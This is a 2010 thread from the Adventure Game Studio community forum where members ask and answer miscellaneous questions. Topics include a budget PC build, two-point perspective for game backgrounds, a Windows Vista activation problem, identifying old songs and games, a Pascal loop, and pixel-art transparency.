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Post by: HammerBlade on 18 Feb 2010, 05:09
Here's one for you hardware savvy folks:

I'm attempting to build a computer from scratch, as I'm concerned my laptop is wanting to kick the bucket, and want more control over whether my computer fails on me.  So, I've done some Newegg shopping and compiled a list of parts I think I'll need.  The end-result computer should be able to do the following:

-Run Windows 7 Premium x64 (Might run Windows Vista Ultimate x64 instead if driver compatibility is easier that way)
-Internet browsing, E-Mail, etc.
-Music Composition, possibly music production
-General software/game programming
-Occasional gaming (Such as TF2, Garry's Mod, KOTOR)
-Preferrably cost around $400-$600


To build such a machine, I've gotten as far as finding these components, which seem to meet these needs:

Computer Case:  Thermaltake SopranoRS VG7000BWS Black SECC ATX Mid Tower Computer Case - Retail
http://www.newegg.com/Product/Product.aspx?Item=N82E16811133046

Power Supply:  Thermaltake TR2 W0070RUC 430W ATX12V V2.2 Intel Core i7 Compliant Dual 80mm Fans Full Cable Sleevings Power Supply - Retail
http://www.newegg.com/Product/Product.aspx?Item=N82E16817153023

Motherboard: ECS GeForce6100PM-M2(V3.0) AM3/AM2+/AM2 NVIDIA GeForce 6100 Micro ATX AMD Motherboard - Retail
http://www.newegg.com/Product/Product.aspx?Item=N82E16813135246

Processor: AMD Athlon II X2 240 Regor 2.8GHz 2 x 1MB L2 Cache Socket AM3 65W Dual-Core Processor - Retail
http://www.newegg.com/Product/Product.aspx?Item=N82E16819103688

Video Card:  POWERCOLOR AX4350 1GBD2-H Radeon HD 4350 1GB 64-bit DDR2 PCI Express 2.0 x16 HDCP Ready CrossFireX Support Video Card - Retail
http://www.newegg.com/Product/Product.aspx?Item=N82E16814131159

Sound Card: Creative Sound Blaster Audigy SE 7.1
http://www.newegg.com/Product/Product.aspx?Item=N82E16829102012

Memory:  G.SKILL 4GB (2 x 2GB) 240-Pin DDR2 SDRAM DDR2 800 (PC2 6400) Dual Channel Kit Desktop Memory Model F2-6400CL6D-4GBMQ - Retail
http://www.newegg.com/Product/Product.aspx?Item=N82E16820231112

Hard Drive: Seagate Barracuda 7200.12 ST3160318AS 160GB 7200 RPM 8MB Cache SATA 3.0Gb/s 3.5" Internal Hard Drive -Bare Drive
http://www.newegg.com/Product/Product.aspx?Item=N82E16822148511


My main concerns are the following:

-Should the on-board NIC on the motherboard be sufficient for plugging the computer directly into a modem (specifically an Actiontec M1000, if that helps)?  Would it be better to invest in an actual NIC instead?  If so, what comes well recommended?

-I noticed that the power supply is "Intel Core i7 Compliant".  Since I'm using an AMD processor and not an Intel processor, should I be concerned about this?

Any advice is greatly appreciated!  ;D
Title: Re: Ask something - We can help.
Post by: Nikolas on 18 Feb 2010, 18:11
Legion it is!

Thank you guys!
Title: Re: Ask something - We can help.
Post by: Bulbapuck on 21 Feb 2010, 16:11
Just a quick question on perspective:

Does this sketch look okay?
(http://www.2dadventure.com/ags/bakgrund4png.PNG)

Something about it strikes me as odd, and since this is my first time using two "perspective-points" I want to be sure I'm doing it correctly.
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Post by: Ryan Timoothy on 21 Feb 2010, 16:18
The vanishing points are too close to each other giving the image that fish eye lens look.  With two vanishing points, they have to be off the canvas and further apart.  There is probably math and stuff to figure out exactly how to determine where your vanishing points should be placed, but I just guess.

The easiest way to notice that this image is wrong with perspective is the bottom corner.  Try looking at a 90 degree corner of something, like a dvd/cd case and notice how the angle never gets as tight as this angle.
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Post by: Bulbapuck on 21 Feb 2010, 18:30
Thank you Ryan! Of course that's the problem.. I've been reflecting over this and I assume this is how it is:
Where you stand the lines drawn from the vanishing points to the vertical line in the midpoint of the two vanishing points must be 90 degrees, and in my room that is just not true.

It's a good thing I only worked on it for 10mins before noticing something was up :P Thanks again!
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 21 Feb 2010, 22:18
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midpoint of the two vanishing points must be 90 degrees
It should only be 90 degree if it's being viewed as a flat surface (from top, looking down).  Any viewing angle beyond that will change the viewed angle of those two intersecting lines.  The lower the camera is to the ground, the larger the angle will be.

Like I mentioned earlier, look at cd case from the side and pretend it's the floor of your room.  Tilt the cd case and you'll see how if the camera changes height, it will affect the angles.  But as for the true method to finding out where to place your vanishing points, I've never bothered to find out, I've always guessed it for what I felt looked realistic.
Title: Re: Ask something - We can help.
Post by: Bulbapuck on 22 Feb 2010, 09:55
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midpoint of the two vanishing points must be 90 degrees
It should only be 90 degree if it's being viewed as a flat surface (from top, looking down).  Any viewing angle beyond that will change the viewed angle of those two intersecting lines.  The lower the camera is to the ground, the larger the angle will be.

Like I mentioned earlier, look at cd case from the side and pretend it's the floor of your room.  Tilt the cd case and you'll see how if the camera changes height, it will affect the angles.  But as for the true method to finding out where to place your vanishing points, I've never bothered to find out, I've always guessed it for what I felt looked realistic.
You misunderstood me, I didn't say it's 90 degrees at the corner but it's 90 degrees where you stand.
I did a few tests of this theory and it seems to stand up. I'll edit with a picture later.

EDIT:
(http://www.2dadventure.com/ags/examplebulbapuckexample.png)

If the marked angle is 90 degrees then that is where you stand. This is helpful because it means you can draw several things that aren't lined up perfectly.

Really ugly example:
(http://www.2dadventure.com/ags/examplebulbapuckexample2.png)

Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 24 Feb 2010, 01:06
Ahh you're correct about the 90 degree.  But the better method is to use a circle.

(http://www.handprint.com/HP/WCL/IMG/LPR/perspec4a.gif)

This one pretty much shows that it'll be 90 degrees from the intersection line to the circle.  Cool stuff.
(http://www.handprint.com/HP/WCL/IMG/LPR/thales.gif)

If the images don't show up, or you want to read the full crazy long article it's here:
http://www.handprint.com/HP/WCL/perspect3.html

It even explains how to choose the proper distance from the vanishing points to show proper viewing distance.
This for example is a cubic box which is 2 meters high (but obviously not scaling the cube to show distance, this is about perspective not depth):
(http://www.handprint.com/HP/WCL/IMG/LPR/recession.gif)
1st is viewed from 3 meters away.
2nd is viewed from 6 meters away.
3rd is viewed from 12 meters away.
4rth is viewed from 24 meters away.

The 4th (the flattened, far apart vanishing points) is mostly for telescopic lenses or something you'd see using binoculars looking at something far away.

And the bulgy 1st cube has close vanishing points which is a badly done perspective given the size of the cube and proximity of the vanishing points. It's something you'd see using a wide angled lens at a close distance. It's also the most common incorrectly done 2 point perspective people use on their backgrounds, like your first image or even the second one.

Interesting read if you've got the time, I've even read a few sections.
Title: Re: Ask something - We can help.
Post by: Tuomas on 24 Feb 2010, 01:19
So basically drawing a tiny tiny background you should draw a huge circle around it to make it look authentic? I mean, I know choosing 2 vanishing points can get tricky, but doing it like this, or anyway, would mean I'd have to have a huge image and only later on scale it to 320x200?
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 24 Feb 2010, 01:35
Not really since resizing the image will only change the resolution of the image but the perspective would remain the same (unless what you meant to write was crop instead of scale).

You'd actually need a large canvas but with the same size background image.
Like how a draftsman uses a large table, but draws on a small sheet. ;)  

What I basically do in Photoshop is start out with 640x480.  Color the background to some light brown or something, then add to the canvas making it something like 2000x480 (if the horizon is inside the 480 height, but if it's higher or lower you'll need a higher vertical canvas too) and make sure the extra canvas is a different color to make the general area of the background easier to determine.

You could also do the perspective lines and decide how to crop it depending on the composition, rather than a predetermined location.

Edit: Basically what I mean is the lighter area may actually be your background area (320x240 or whatever) and the darker area will be the extra canvas used only for perspective lines.  And imagine that box being your room or whatever. :P
(http://www.bryvis.com/entertainment/other/agsf/perspective_canvas.png)
Title: Re: Ask something - We can help.
Post by: Tuomas on 24 Feb 2010, 02:38
What I meant, sorry for being hard to  understand :)
Title: Re: Ask something - We can help.
Post by: Bulbapuck on 24 Feb 2010, 07:54
Thank you again Ryan :D I'll definitely give that a look.
Title: Re: Ask something - We can help.
Post by: Stupot on 24 Feb 2010, 10:51
I'm having serious computer woes.
After having problems playing MystOnline someone suggested (among other things) making sure I had the latest Service Pack installed.  So I checked and I didn't, even though I usually update quite regularly.  So I went about installing SP" (Vista), and all seemed well, until I upon the next restart of my comupter, apparently the process hadn't finished... it was on stage 3 out of 3 at 69%, and stayed there for a very long time.

Perhaps this was normal, so after well over 2 hours of waiting for any change I decided to go to bed and leave it running.  Sure enough, when I awoke at about 5am this it seemed to have finished.  It was on the Vista welcome screen, asking me for my password.  It accepted my password, and then the screen went black, and a window came up asking  me to 'Activate Windows now' or 'Activate later'.. I clicked 'now'... and an error message came up telling me to reinstall Windows... something I'd rather not do if I can avoid it.

Then it crashed anyway, when I brought up the 'How do I reinstall Windows' help link.

So I restarted my computer, and guess what?  it went straight back to the installation screen saying it was on stage 3 out of 3, but this time it got stuck at 65%... I decided to leave it running, go back to bed and deal with it in the morning.

Morning came, sure enough, there it was again asking for my passwords, which it accepted, and sure enough the black screen came up asking me to 'Activate' Windows...  this time I clicked 'Later', which is why I'm able to use my computer...

The thing is, everything is working, an my computer even now has SP2 installed on it according to the System Information.  But the worrying thing is a) I clearly can't wait 2 or more hours every time I want to use my computer, and b) my wallpaper has disappeared, leaving a black background, with a little message in the corner saying "this copy of Windows is not genuine"... Well I assure you it IS genuine.  It's the very Windows that came bunged with my computer in the first place.

What do I do?
(Clearly the first thing you are thining is 'Reinstall Windows' but I'm woried about the consequences...  Will I lose everything?  I mean I have a lot of stuff backed up, and the means to back up anything that's not, but I'd really rather avoid the faffing about if there is a simpler solution I'm not aware of.)

Cheers.
Title: Re: Ask something - We can help.
Post by: Rincewind on 28 Feb 2010, 23:52
Arr, I'm in desperate need of some help right now.
I have this song playing in my head that I heard about ten years ago that I would love to find again, but as usual, I don't know who did it or what it's called. All I know is this:

- Musically, I seem to remember it as a mix between an organ/keyboard-melody and a more modern, dance-oriented beat(though still a rather subtle one) Rather repetitive, most likely intended to be a club-hit or something.

- There was also more or less one vocal line repeated constantly throughout the whole thing - If I remember it correctly it was something like "I see you ride o-on a storm / I see you ride o-on a storm / I see you ri-i-ding on a storm", sung in a rather cheesy, crooning, baritone-like voice. I'm not sure if this is sampled from some other song or if this was actually written for this track, though.

- The music video for the song featured an extremely and deliberately kitschy/colorful 50's/60's-styled party in a living room or something similar, with an equally kitschy/campy live-band playing the song in question.

The one time I heard the song and saw the video was through the Swedish tv-show "Mosquito" that aired between 1998 and 2001, and showcased new music/visuals/3D-graphics, so I suppose it's most likely a song made somewhere in between that timeframe. Anyone who has the slightest idea what this song might be, do please tell, because I think I'm going insane from hearing this song play in my head and not being able to find out what it's called...
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 01 Mar 2010, 00:06
The Doors did a song called Riders on the storm, which might be the track that was sampled if thats any help.
Title: Re: Ask something - We can help.
Post by: Wyz on 01 Mar 2010, 00:29
@ Bulba: Few days ago I stumbled onto this tutorial (http://www.youtube.com/watch?v=eA9SZYK3ozw&feature=channel), I found it rather useful. :)
Title: Re: Ask something - We can help.
Post by: Haddas on 01 Mar 2010, 01:00
Arr, I'm in desperate need of some help right now.
I have this song playing in my head that I heard about ten years ago that I would love to find again, but as usual, I don't know who did it or what it's called. All I know is this:

- Musically, I seem to remember it as a mix between an organ/keyboard-melody and a more modern, dance-oriented beat(though still a rather subtle one) Rather repetitive, most likely intended to be a club-hit or something.

- There was also more or less one vocal line repeated constantly throughout the whole thing - If I remember it correctly it was something like "I see you ride o-on a storm / I see you ride o-on a storm / I see you ri-i-ding on a storm", sung in a rather cheesy, crooning, baritone-like voice. I'm not sure if this is sampled from some other song or if this was actually written for this track, though.

- The music video for the song featured an extremely and deliberately kitschy/colorful 50's/60's-styled party in a living room or something similar, with an equally kitschy/campy live-band playing the song in question.

The one time I heard the song and saw the video was through the Swedish tv-show "Mosquito" that aired between 1998 and 2001, and showcased new music/visuals/3D-graphics, so I suppose it's most likely a song made somewhere in between that timeframe. Anyone who has the slightest idea what this song might be, do please tell, because I think I'm going insane from hearing this song play in my head and not being able to find out what it's called...

Crap I remember that. For some reason I remember cowboys aswell. I've been trying to find it ever since.
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Post by: Adrian ? on 01 Mar 2010, 01:30
I'm having serious computer woes.
After having problems playing MystOnline someone suggested (among other things) making sure I had the latest Service Pack installed.  So I checked and I didn't, even though I usually update quite regularly.  So I went about installing SP" (Vista), and all seemed well, until I upon the next restart of my comupter, apparently the process hadn't finished... it was on stage 3 out of 3 at 69%, and stayed there for a very long time.

Perhaps this was normal, so after well over 2 hours of waiting for any change I decided to go to bed and leave it running.  Sure enough, when I awoke at about 5am this it seemed to have finished.  It was on the Vista welcome screen, asking me for my password.  It accepted my password, and then the screen went black, and a window came up asking  me to 'Activate Windows now' or 'Activate later'.. I clicked 'now'... and an error message came up telling me to reinstall Windows... something I'd rather not do if I can avoid it.

Then it crashed anyway, when I brought up the 'How do I reinstall Windows' help link.

So I restarted my computer, and guess what?  it went straight back to the installation screen saying it was on stage 3 out of 3, but this time it got stuck at 65%... I decided to leave it running, go back to bed and deal with it in the morning.

Morning came, sure enough, there it was again asking for my passwords, which it accepted, and sure enough the black screen came up asking me to 'Activate' Windows...  this time I clicked 'Later', which is why I'm able to use my computer...

The thing is, everything is working, an my computer even now has SP2 installed on it according to the System Information.  But the worrying thing is a) I clearly can't wait 2 or more hours every time I want to use my computer, and b) my wallpaper has disappeared, leaving a black background, with a little message in the corner saying "this copy of Windows is not genuine"... Well I assure you it IS genuine.  It's the very Windows that came bunged with my computer in the first place.

What do I do?
(Clearly the first thing you are thining is 'Reinstall Windows' but I'm woried about the consequences...  Will I lose everything?  I mean I have a lot of stuff backed up, and the means to back up anything that's not, but I'd really rather avoid the faffing about if there is a simpler solution I'm not aware of.)

Cheers.

I'd use the repair option with a vista install disc (if supplied) or get hold of windows 7 and perform a upgrade both should replace the system files, system restore is a option too if you have it enabled.
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Post by: Jared on 01 Mar 2010, 05:20
Arr, I'm in desperate need of some help right now.
I have this song playing in my head that I heard about ten years ago that I would love to find again, but as usual, I don't know who did it or what it's called. All I know is this:

- Musically, I seem to remember it as a mix between an organ/keyboard-melody and a more modern, dance-oriented beat(though still a rather subtle one) Rather repetitive, most likely intended to be a club-hit or something.

- There was also more or less one vocal line repeated constantly throughout the whole thing - If I remember it correctly it was something like "I see you ride o-on a storm / I see you ride o-on a storm / I see you ri-i-ding on a storm", sung in a rather cheesy, crooning, baritone-like voice. I'm not sure if this is sampled from some other song or if this was actually written for this track, though.

- The music video for the song featured an extremely and deliberately kitschy/colorful 50's/60's-styled party in a living room or something similar, with an equally kitschy/campy live-band playing the song in question.

The one time I heard the song and saw the video was through the Swedish tv-show "Mosquito" that aired between 1998 and 2001, and showcased new music/visuals/3D-graphics, so I suppose it's most likely a song made somewhere in between that timeframe. Anyone who has the slightest idea what this song might be, do please tell, because I think I'm going insane from hearing this song play in my head and not being able to find out what it's called...

As Cailin says this is a cover/sampling of The Doors' 'Rider on the Storm'. The only dance-y remix I've heard is one by Puff Daddy, which was on the soundtrack for, IIRC, Need For Speed Underground. I remember that one being quite dance-y but I can't recall if there were additional lyrics.
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Post by: GarageGothic on 01 Mar 2010, 06:32
As Cailin says this is a cover/sampling of The Doors' 'Rider on the Storm'. The only dance-y remix I've heard is one by Puff Daddy, which was on the soundtrack for, IIRC, Need For Speed Underground. I remember that one being quite dance-y but I can't recall if there were additional lyrics.

It was Snoop Dogg (http://www.youtube.com/watch?v=0VAF-4Er7_A&feature=related) if you're thinking about Need for Speed Underground 2 (I playtested that game for two months, and boy was I sick of the soundtrack by the time we signed off on it). The music video Rincewind describes doesn't really sound like Snoop Dogg though, so it's most likely a different cover version.
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Post by: Rincewind on 01 Mar 2010, 08:47
Appreciate the help, everybody, but no, as a Doors-fan I can say that it definitely wasn't "Riders on the Storm" it sampled, even though the lyrics are sort of similar. This sounded more like a cheesy lounge-singer-thingamabob rather than the Lizard King, if you get my drift. I'm pretty sure the lyrics were "[...]I see you riding on a storm[...]", and not "[...]Riders on the storm[...]", and the phrasing was different, too.

The overall mood of it was more that of a cheesy lounge act with a very subtle modern, electronic touch than a techno remix, if you get what I mean... It's really hard to describe it, especially since it was such a long time ago I heard it. Hah.

Haddas: Yeah, goddamnit, you're right! I think we're thinking of the same track, 'cos now that you mention it, I do think there were some cowboys in the video, too... Dancing cowboys, even? Damn, now I'm even more anxious to find this again...
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Post by: Stupot on 01 Mar 2010, 22:35
http://www.fullsongs.net/listen.php?name=Avalanche_-_Riding_On_A_Storm_(1989).mp3&source=wrzuta&url=t62XabuWw8ibk9-ql6_ThbuQemiZwsaVuqt1ppmovu6ohZ3Au7t_6lZtbMi5v3-foJmHu7q-aau5xJPo
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Post by: Rincewind on 02 Mar 2010, 10:04
Stupot: Hehe, no, sorry, wasn't that one either, even though the lyrics did match. It was nice to hear some late-80's production values and drum machines, though! ;)
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Post by: InCreator on 05 Mar 2010, 21:07
I ask and answer:

Q: Does video card baking really work?
A: YES IT DOES

Stuffing your VRAM-faulty, artifact-ridden video card into baking oven at 200C for 10 minutes WILL repair it and make it work like new. (I baked my 8800GTX for 7 minutes, thinking it's all some kind of a joke/tech myth) but lo and behold, it really DID work.

Q: Does it work twice?
A: O F**K YEAH
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on 13 Mar 2010, 16:38
Um... does anyone know how sidewalks looked like in Europe of XIX century? Were they paved or already made from asphalt sometimes?
Also if anyone can link a good  mid-late XIX century photograph or painting of street with sidewalk clearly visible I'd be much grateful.
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Post by: Anian on 13 Mar 2010, 16:49
Um... does anyone know how sidewalks looked like in Europe of XIX century? Were they paved or already made from asphalt sometimes?
Also if anyone can link a good  mid-late XIX century photograph or painting of street with sidewalk clearly visible I'd be much grateful.
Search for daguerrotypes, it's the middle to late 19th century photography.
There is Paris http://z.about.com/d/inventors/1/0/u/3/1/Daguerreotype1839.jpg
And lots in N America http://www.zazzle.com/philadelphia_scene_daguerreotype_1842_poster-228230445527699125

Also try calotype, but since daguerrotype was the first process, they made lots of photos of 19th century cities and nature though they're veeery fragile so some photos might be low quality.
Additional info - late 18 century saw the invention of tyres so I guess paving started then, on the other hand I think streets in Paris were paved after the revolution so people can't pull out blocks and throw them.
Additional additional - movies like From hell, new Sherlock Holmes, Burton's Sleepy hollow etc.
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Post by: Stupot on 23 Mar 2010, 19:07
Is anyone here familiar with Pascal?
I'm using it for my Computational Linguistics course.  I'm okay with the stuff I've actually been taught and ned to know, but I'm trying to achieve something extra, just for neatness sake.

Basically the program asks the user to input a string of characters and then checks the string against a given 'language' and then accepts or rejects it accordingly.

I've achieved that pretty easily, but the trouble is you have to re-run the program every time you want to try it.  I want the program to keep going back to the beginning whenever the string is rejected, with a message saying 'please try again' or something, and then get the program to stop once the user inputs an acceptable string.

Basically I need the program to keep looping until the currentstate is 'A' (accept).

Sounds like it should be easy, but if tried with IF, WHILE and REPEAT statements, and can't seem to get it to work...

Any ideas?  Below is the 'Main Program' of the script.  I'm pretty sure the commands I need will be inserted here somewhere, but I'm obviously doing something wrong.

Code: Adventure Game Studio
  1. { *** Main Program *** }
  2.  
  3. begin
  4.  
  5.   write ('Input a string consisting of the symbols a, b, c, d, and e: ');
  6.  readstring (string, stringlength);
  7.   process (currentsymbol, currentstate, string, stringlength);
  8.  
  9.   if currentstate = 'A' then
  10.    writeln ('String Accepted :-)');
  11.  
  12.   else
  13.     writeln ('String Rejected :-(');
  14.  
  15. end.
  16.  

If you think it would help to see the whole code, I can provide it, but I'm guessing it's not necessary.

Cheers guys.
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Post by: Ryan Timoothy on 23 Mar 2010, 19:39
I believe I understand you correctly.  All you want is for it to repeat if currentstate != 'A'?

I don't remember exactly how the while statement is typed out, but wouldn't this work? (it's been years since I've worked with Pascal):

Code: Adventure Game Studio
  1. { *** Main Program *** }
  2.  
  3. begin
  4.   while (currentstate != 'A')
  5.  begin
  6.     write ('Input a string consisting of the symbols a, b, c, d, and e: ');
  7.    readstring (string, stringlength);
  8.     process (currentsymbol, currentstate, string, stringlength);
  9.  
  10.     if currentstate = 'A' then
  11.      writeln ('String Accepted :-)');
  12.  
  13.     else
  14.       writeln ('String Rejected :-(');
  15.  end;
  16. end.
  17.  
Title: Re: Ask something - We can help.
Post by: Stupot on 23 Mar 2010, 20:19
If != means 'not equal to' then that's exactly what I mean, but this version of Pascal doesn't seem to liek that, so I used <> instead.  Also it needed a 'do' to go with the 'while'.

Unfortunately, all I end up with is a reccurring loop of:

Input a string consisting of the symbols a, b, c, d, and e: String Rejected :-(
Input a string consisting of the symbols a, b, c, d, and e: String Rejected :-(
Input a string consisting of the symbols a, b, c, d, and e: String Rejected :-(
ad infinitum.

I think that might be because of an earlier element in the 'readstring' process...

Code: Adventure Game Studio
  1. { *** ReadString Procedure *** }
  2.  
  3. procedure readstring (var string : stringtype;
  4.                       var stringlength : integer);
  5.  
  6. var
  7.   i : integer;
  8.  
  9. begin
  10.   i := 1;  
  11.   while (i <= 12) and (not eoln) do
  12.  
  13.     begin
  14.       read (string [i]);
  15.       i := i + 1;
  16.     end;
  17.  
  18.   stringlength := i - 1;
  19. end;
  20.  

...which basically tells the program to give the user a chance to input the string before pressing 'enter'... but when we're telling it to go back to the beginning of the program, it's registering that 'enter' has now been pressed, so it is infinitely rejecting empty strings.

Perhaps I can solve this by putting (not eoln) as an initial state... but I don't know how to do that either. :(
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Post by: Questionable on 23 Mar 2010, 20:35
Appreciate the help, everybody, but no, as a Doors-fan I can say that it definitely wasn't "Riders on the Storm" it sampled, even though the lyrics are sort of similar. This sounded more like a cheesy lounge-singer-thingamabob rather than the Lizard King, if you get my drift. I'm pretty sure the lyrics were "[...]I see you riding on a storm[...]", and not "[...]Riders on the storm[...]", and the phrasing was different, too.

The overall mood of it was more that of a cheesy lounge act with a very subtle modern, electronic touch than a techno remix, if you get what I mean... It's really hard to describe it, especially since it was such a long time ago I heard it. Hah.

Haddas: Yeah, goddamnit, you're right! I think we're thinking of the same track, 'cos now that you mention it, I do think there were some cowboys in the video, too... Dancing cowboys, even? Damn, now I'm even more anxious to find this again...

For some reason i'm think of Goldfrapp - ride a white horse...  Though I SERIOUSLY doubt it, I thought i would throw my hat into the pot. Tell us a little bit more about where you heard it/who was singing it/etc-
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Post by: Ryan Timoothy on 23 Mar 2010, 21:19
See, it's been a while since I've used Pascal.  Truthfully it wasn't Pascal, it was Turbo Pascal. :P  But it looks the same.

So all that you're grabbing is a character?  Not a string of characters?

In Turbo Pascal I used to use (forgive me if I'm remembering this wrong) something like this:
Code: Adventure Game Studio
  1. var
  2. c: Char;
  3.  
  4. begin
  5. while (c<>'A' and c<>'B' and c<>'C' and c<>'D' and c<>'E') do
  6.  begin
  7.     c:=readkey; //this grabs the character
  8.   end;
  9. end.
  10.  

I believe this will work.  Like I said, it's been several years, so I may be wrong. :P
Turbo Pascal was always my free hobby program that I made little graphical games with, then I found AGS and never looked back.
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Post by: Stupot on 23 Mar 2010, 22:44
Sorry Ryan, I've only confused matters by posting that second bit of code.  The currentstate 'A' is a totally different kind of value than the char 'a'.  Forget the last few posts and go back to my original Q. where I just displayed the main section of my program.

What I'm asking here is simply to be able to put the whole thing in a loop so that whenever the string is rejected it will go back to the start and give the user another chance to type his string without having to keep running the file each time.
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Post by: Andail on 24 Mar 2010, 16:07
A simple language question, one that I could probably look up elsewhere, but anyways; what's the english word or phrase for adding words to a text, in order to make it appear richer and longer, even though you don't really add more useful information? As in "this presentation is good, but you could [] the text a bit."

Edit:
ah, it sprang to mind now; to pad. Or are there better ways to say it?
Title: Re: Ask something - We can help.
Post by: Stupot on 24 Mar 2010, 16:15
to pad out sounds more natural that just pad.
Title: Re: Ask something - We can help.
Post by: Andail on 24 Mar 2010, 16:18
ok, thanks!
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Post by: Intense Degree on 24 Mar 2010, 16:48
Probably not that helpful but I think I would just say "improve".  ;D

Pad out is probably the best bet.
Title: Re: Ask something - We can help.
Post by: Babar on 24 Mar 2010, 17:35
"To pad out" would probably imply simply making it longer, not necessarily richer. I think it has negative connotations more than positive.
Title: Re: Ask something - We can help.
Post by: Stupot on 24 Mar 2010, 18:21
That seems to me exactly what Andail was asking, Babs.

...make it appear richer and longer, even though you don't really add more useful information...
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Post by: Jared on 21 Apr 2010, 06:41
I get the feeling that I've asked this before but didn't find it in my posts and it's something that has been bugging me for ages... Yahtzee did a game that was called something like "Steve and Perry: Paranormal Investigators" that he only ever released a short demo of.

This may seem a weird thing to be bugging me for ages, but as the amount of writing about Yahtzee has increased over the years I've been amazed at seeing no reference to this game having ever existed, even on his own website. It's enough to make me question my sanity...
Title: Re: Ask something - We can help.
Post by: Questionable on 21 Apr 2010, 09:18
to pad out sounds more natural that just pad.

Embellish?
Title: Re: Ask something - We can help.
Post by: ThreeOhFour on 21 Apr 2010, 15:40
I'd use 'elaborate' but I think Andail already has his answer.
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Post by: Tuomas on 25 Apr 2010, 11:39
Hi. I have a question!

I need to find this great game I had once. I can't remember the name though. And I need to find out if I'm able to play it on my computer.

It was a jump 'n' run platformer with a green handless dinosaur. The dino had a huge head and. Oh, and it was an amiga game. The dino was bright green, not a robot, but a cartoony one. And I believe the game a had an awesome soundtrack... And now that I think of it, I believe the dinosaur was somewhat space related. Maybe.
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Post by: Stupot on 25 Apr 2010, 12:04
Hoi? (http://vimeo.com/1778685)

Apparently you can download the complete game from that page aswell.
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Post by: Tuomas on 26 Apr 2010, 17:55
Yeah! Man this looks awesome!
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Post by: Oliwerko on 26 Apr 2010, 19:23
Speaking of games, I have this unsolved thing:

I remember a game I played most probably on SNES emulator waaay back. I am almost sure it was called "Sink or swim" (but I may as well be totally wrong here). But not that cartoony sink or swim! (http://www.abandonia.com/en/games/638/Sink+or+Swim.html)

This one was about you getting out of a sinking ship, you were a waiter or something (?) and it wasn't at all meant to be cartoony or funny. There were fires, the ship was turning and sinking and you had to make your way out.

I believe I don't remember anything else. It's been years I've been looking for this game with no success.
Perhaps some of you did encounter it?
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Post by: Captain Ricco on 26 Apr 2010, 19:33
Speaking of games, I have this unsolved thing:

I remember a game I played most probably on SNES emulator waaay back. I am almost sure it was called "Sink or swim" (but I may as well be totally wrong here). But not that cartoony sink or swim! (http://www.abandonia.com/en/games/638/Sink+or+Swim.html)

This one was about you getting out of a sinking ship, you were a waiter or something (?) and it wasn't at all meant to be cartoony or funny. There were fires, the ship was turning and sinking and you had to make your way out.

I believe I don't remember anything else. It's been years I've been looking for this game with no success.
Perhaps some of you did encounter it?

S.O.S., or Septentrion in the japanese version
(http://img175.imageshack.us/img175/2086/sos.png)
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Post by: Oliwerko on 26 Apr 2010, 19:54
YAY!  :D

Thanks an awful lot, I've been looking for it for years.
Title: Re: Ask something - We can help.
Post by: Jared on 27 Apr 2010, 06:39
...but nobody remember's Yahtzee's paranormal investigator's demo?
Title: Re: Ask something - We can help.
Post by: Tuomas on 27 Apr 2010, 08:14
Hoi? (http://vimeo.com/1778685)

Apparently you can download the complete game from that page aswell.

Nah, there's no download link.
Title: Re: Ask something - We can help.
Post by: Misj' on 27 Apr 2010, 08:29
Hoi? (http://vimeo.com/1778685)

Apparently you can download the complete game from that page aswell.

Nah, there's no download link.

Try here (http://www.metinseven.com/goodies-2/en/)...
(it's on the developers website, referenced in Stupot's link; so I assume it's legal)
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Post by: Tuomas on 27 Apr 2010, 08:35
Yeah, I mean, I was kind of trying to find out if I could play it on my windows. Also, yes, I know there are emulators, but I can't be bothered.

Downloaded the soundtrack though ^^ http://ftp.df.lth.se/pub/media/soamc/soamc_mix/Digital_Mugician_1/Ramon/dmu.hoi-level-1_T01.mp3 par exemple
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Post by: MJL on 01 May 2010, 01:18
If anyone has or can find Sunna - Forlorn mp3 please link me! One that isn't a torrent!

Sorted, thank you Fusiomax & Leon !
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Post by: Fusiomax on 01 May 2010, 09:26
@mods You can just rip it from youtube using any number of programs check out cnet download for programs to do so
http://www.dvdvideosoft.com/products/dvd/Free-YouTube-to-MP3-Converter.htm
thats the one i use its good enough for what i want it to do and it rips the youtube vid's sound into an mp3 so no messing about with other programs.

and thats the song i believe you are asking about.
I'm listening to it, its really good

Fusiomax

Ooo! Ooo! Ive got a question!

there was this old game for the GBA i used to play, but the name was in japanese and i lost ages ago.
I only remember a few of things about it:
1) you played a young man living with his mother who's father died(?)
2)all you have to remember your father is an amulet
3)when you get to a certain age(the age you are in the game) there is this sort of ritual where you give up something close to you, in this case the amulet, answer some questions and a creature is summoned to be your companion.
4)there were a few different ones that could appear the only one i can remember is this kangaroo with red boxing gloves that could perform lightning attacks.
5)you, as do all young men/women, enter a tournament to get a scholarship as a smith.
6)it is based in a sort of pok'e'mon-esque(game boy versions, you know that sort of birds-eye view) view point when you are wandering around town.
7) when you go into a battle it goes all beatem up.
8)you can collect materials(ores and the likes) and craft weapons for you to battle with.
9)there were a few different weapons you could craft such as: these calw l;ike drills that sit over your firsts, different types of swords(broad, short, long), axes(great, small) and spears.

I know it was long and half opf it may have made no sense.

if anyone recognises the game please tell me what its called.

ThankYou

Fusiomax
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Post by: Bulbapuck on 05 May 2010, 10:05
Here's something I've been wondering for quite some time.

How do you do "semi-transperency"?

Like the feathers in my signature for instance, they have several pixels that aren't fully transparent, just somewhat transparent. How do you do that?

I'm using GraphicsGale and I've always had a lot of problems with normal transperency even. Can you do "semi-transperency" in GG or do I have to change program? Because looking through the manual, I found nothing...
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Post by: Calin Leafshade on 05 May 2010, 10:14
semi transparency is done with an alpha channel.. or rather an 8bit alpha channel.

you can think of an individual pixel as 3 numbers. 0-255 for red, blue and green.

Now add another number (again from 0 to 255) for 'alpha'. This determines the transparency.

GG *does* support alpha channels but i've no idea how they work in practice..

in photoshop or gimp though you can set the transparency of your brush/pen tool before you use it.
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Post by: Bulbapuck on 05 May 2010, 10:50
I guess I'll try gimp then.

Thank you Calin!
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Post by: bicilotti on 06 Jun 2010, 13:44
